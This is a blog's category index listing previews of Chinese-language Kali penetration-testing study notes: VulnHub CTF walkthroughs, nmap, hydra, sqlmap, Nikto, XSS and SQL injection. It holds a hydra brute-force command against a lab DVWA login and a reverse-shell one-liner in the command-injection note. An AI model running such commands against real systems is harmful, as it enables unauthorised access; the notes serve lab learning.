![](https://img-blog.csdnimg.cn/20201014180756930.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
kali
文章平均质量分 76
花纵酒
这个作者很懒,什么都没留下…
展开
-
JIS-CTF解题思路及关键语句
JIS-CTF题目描述靶场题目:JIS-CTF: VulnUpload 靶场地址:https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 难度描述:包含5个Flag,初级难度,查找所有Flag平均需要1.5小时 靶场作者:Mohammad Khreesha 靶场描述:Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on原创 2020-09-09 15:59:16 · 1052 阅读 · 0 评论 -
Kali使用过程中系列问题解决办法汇总
使用不同的语言环境连接到postgresql数据库提示postgresql的语言环境与系统不兼容解决办法:root用户权限下:localedef -f UTF-8 -i en_GB en_GB.UTF-8用提示错误的语言设置上述语句中的语言常量即可。如:en_US en_US.UTF-8安装postgresql数据库:sudo apt-get updatesudo ap...原创 2020-04-16 13:13:37 · 1177 阅读 · 0 评论 -
Vulnhub之Web-Machine-N7
靶机下载地址:Web Machine: (N7) ~ VulnHubWeb Machine: (N7), made by Duty Mastr. Download & walkthrough links are available.https://www.vulnhub.com/entry/web-machine-n7,756/Difficulty: Medium常规做法:arp-scan -I eth0 -l :本地局域网IP地址扫描,个人感觉比nmap -sn 快nmap -A原创 2022-02-12 17:03:53 · 4016 阅读 · 0 评论 -
vulnhub Earth:解题思路
靶场下载地址:The Planets: Earth ~ VulnHubThe Planets: Earth, made by SirFlash. Download & walkthrough links are available.https://www.vulnhub.com/entry/the-planets-earth,755/#downloadEarth is an easy box though you will likely find it more challenging t原创 2022-01-28 11:44:01 · 3244 阅读 · 0 评论 -
kali工具系列:WIRESHARK及tcpdump
抓包引擎• Libpcap9—— Linux• Winpcap10—— Windows原创 2021-04-16 14:05:45 · 242 阅读 · 0 评论 -
kali工具系列:netcat-nc
netcat-nc小名号称是瑞士军刀原创 2021-04-16 12:44:40 · 307 阅读 · 0 评论 -
kali之再谈hydra暴力破解
xhydra是hydra的图形工具,本以为会很好用,但是世事艰辛这个工具在于字典的准备,下面留个记录,准备字典的过程。原创 2021-04-04 19:39:29 · 564 阅读 · 0 评论 -
XSS高级专题
XSS进阶之CSP绕过CSP:实质就是白名单制度,它规定哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成。资源加载通过”script-src“、”style-src”等选项来限制外部资源的加载。”script-src”限制外部脚本的加载,strict-dynamic特性允许将信任关系传递给由受信任的script动态生成的脚本,忽略了script-src的白名单,使得之后生成的脚本可以执行。...原创 2020-08-20 17:22:53 · 292 阅读 · 0 评论 -
XSS跨站脚本攻击专题
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的...原创 2020-08-18 10:45:23 · 160 阅读 · 0 评论 -
SQL注入攻击专题
盲注,从字面意思理解就是看不见的注入,其实这还是属于注入的一种,只是表现形式不同。盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。也就是说执行插入的语句后,不管是否执行,是否成功,都不会回显详细的错误信息,不像普通注入一样那么容易判断。但是,注入攻击还是发生了,只是错误信息被屏蔽掉了,请记住这个就好。一般情况下,盲注可分为三类: Booleanbase普通盲注 Timebase...原创 2020-08-10 09:25:27 · 154 阅读 · 0 评论 -
Sqlmap专题
-u 后面接url地址还可以用burpsuite导出的数据进行批量处理,如form-post形式的数据,用 -r burpsuite导出的数据包实战:目标网站:http://testphp.vulnweb.com/index.php必须先找到了个可以显示结果的注入点多浏览链接,如点击作者连接,找到注入点:http://testphp.vulnweb.com/artists.php?artist=2给地址后加个',出现以下错误界面,说明可以尝试注入接下来,检查注...原创 2020-08-06 16:04:03 · 663 阅读 · 0 评论 -
kali:OWASP DVWA Vulnerability: Brute Force 暴力破解的具体实现
首先给出正确的暴力破解命令:hydra -l admin -P /usr/share/wordlists/metasploit/password.lst 10.10.10.143 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low;PHPSESS.原创 2020-08-05 20:45:00 · 1570 阅读 · 0 评论 -
kali:定制Nikto和Vege
参考:Kali Linux 高级渗透测试(原书第2版)列出nikto可用插件:nikto -list-plugins | grep plugins定义代理:如burpnikto.pl -host <hostaddress> -port <hostport> -useragentnikto -useproxy http://127.0.0.1:8080可以通过运行以下命令将Nikto自定义为仅为Apache用户枚举运行的特定插件:当Nikto插件成功运行时,原创 2020-07-27 18:00:57 · 135 阅读 · 0 评论 -
kali:nmap的进一步使用笔记
参考资料为:Kali Linux 高级渗透测试(原书第2版)nmap的7.40, 附带500+NSE( nmap脚本引擎) 脚本在启动nmap执行漏洞扫描之前, 渗透测试人员必须更新nmap脚本数据库, 查看是否有新脚本添加到数据库中, 防止错过该漏洞识别:针对目标主机运行所有脚本:LUA脚本介绍:LUA开发的安全工具有nmap、Wireshark和Snort 3.0等。LUA可以通过在终端上使用apt-get install lua5.1命令直接安装到KaliLinux。 以下代码原创 2020-07-27 17:41:16 · 589 阅读 · 0 评论 -
Kali下的Web漏洞扫描工具汇总:OpenVAS、nessus、acunetix、w3af等
OpenVAS更新kaliapt-get updateapt-get dist-upgrade安装OpenVAS,这一步需要的时间非常久,需要下载很多文件,建议使用screen操作,避免shell中断apt-get install openvas安装配置OpenVASopenvas-setup注意查看结束的时候会有提示自动生成的密码User created with password '******'.如果安装的时候有错误可以进行安装检测,按照提示修复openvas-ch原创 2020-05-23 00:11:48 · 3829 阅读 · 0 评论 -
kali:工具之hydra
hydra:据说也有图形界面看自身帮助绝对够用,关键是字典hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns][-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]-R 继续从上一次进度接着破解。-S 采用SSL链接。-s PORT 可通过这个参数指定非默认端口。-l L原创 2020-05-11 16:42:47 · 2190 阅读 · 0 评论 -
kali渗透测试与教学笔记13:Linux NFS共享目录配置漏洞
Linux NFS共享目录配置漏洞靶机:metasploitable2查看靶机上的nfs服务是否开启:rpcinfo -p 10.10.10.129原创 2020-05-04 21:07:59 · 1454 阅读 · 0 评论 -
kali渗透测试与教学笔记12:强大的数据包处理程序scapy
Scapy是Python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。启动scapy。命令行输入scapy...原创 2020-05-02 20:42:09 · 1111 阅读 · 0 评论 -
kali渗透测试与教学笔记11:主机探测命令与工具集
ping、arping、fping、hping3、nbtscan、nping、p0f、xprobe2工具对目标主机的探测方法探测工具:“ping –c 5 –s 2000 192.168.10.127”,发送5个大小为2000字节的数据包arping是一个在LAN中使用ARP地址解析协议发现目标主机的工具。arping工具测试特定IP地址在网络中是否在线。该命令只能运行本地局域网内,无...原创 2020-05-02 20:28:52 · 964 阅读 · 0 评论 -
kali渗透测试与教学笔记10
漏洞利用:参考kali linux 渗透技术详解实验靶机:metasploitable2原创 2020-04-25 11:14:59 · 278 阅读 · 0 评论 -
kali渗透测试与教学笔记9
客户端渗透原创 2020-04-24 11:24:10 · 156 阅读 · 0 评论 -
kali渗透测试与教学笔记8
第三方网路服务渗透攻击实战:Oracle数据库原创 2020-04-24 10:09:20 · 250 阅读 · 0 评论 -
kali渗透测试与教学笔记7:
windows服务渗透攻击实战——MS08-067安全漏洞原创 2020-04-23 20:39:39 · 340 阅读 · 0 评论 -
kali渗透测试与教学笔记6:
内存攻防技术:原创 2020-04-23 18:01:18 · 117 阅读 · 0 评论 -
kali渗透测试与教学笔记1
信息情报收集:原创 2020-04-11 20:38:04 · 241 阅读 · 0 评论 -
kali渗透测试与教学笔记2
web应用渗透测试技术:原创 2020-04-11 22:56:26 · 231 阅读 · 0 评论 -
kali渗透测试与教学笔记的实验环境
主要参考metasploit魔鬼训练营原创 2020-04-17 09:56:45 · 243 阅读 · 0 评论 -
kali2020安装w3af时,无法定位软件包python-pip python-webkit的解决办法
w3af在kali2020下真心不好安装一路坑坑拌伴正常下载w3af,按要求解压在/root下安装NPM包管理工具apt install npm libyaml-dev libsqlite3-dev补全python库环境apt install python-dev build-essential libssl-dev libffi-dev libxml2-dev li...原创 2020-04-17 20:42:49 · 5326 阅读 · 6 评论 -
kali渗透测试与教学笔记3:sql注入
web应用渗透测试技术:sqlmap:原创 2020-04-20 09:11:52 · 478 阅读 · 0 评论 -
kali渗透测试与教学笔记5:
可以参考我的CTF相关章节的命令注入如:sudo bash -i >& /etc/tcp/ip/port 0>&1原创 2020-04-21 19:29:33 · 163 阅读 · 0 评论 -
kali渗透测试与教学笔记4:XSS
靶机应用地址:http://10.10.10.129/mutillidae/index.php想成功执行一个XSS有2步:攻击者数据没有被过滤掉、web应用返回的数据没有经过编码因此一个安全的web应用要对特殊字符进行编码,最好是进行十六进制编码。OWASP给出了防止XSS指南。国外网站不好访问,这里提供CSDN的两个地址:https://blog.csdn.net/aerchi/...原创 2020-04-21 10:25:06 · 299 阅读 · 0 评论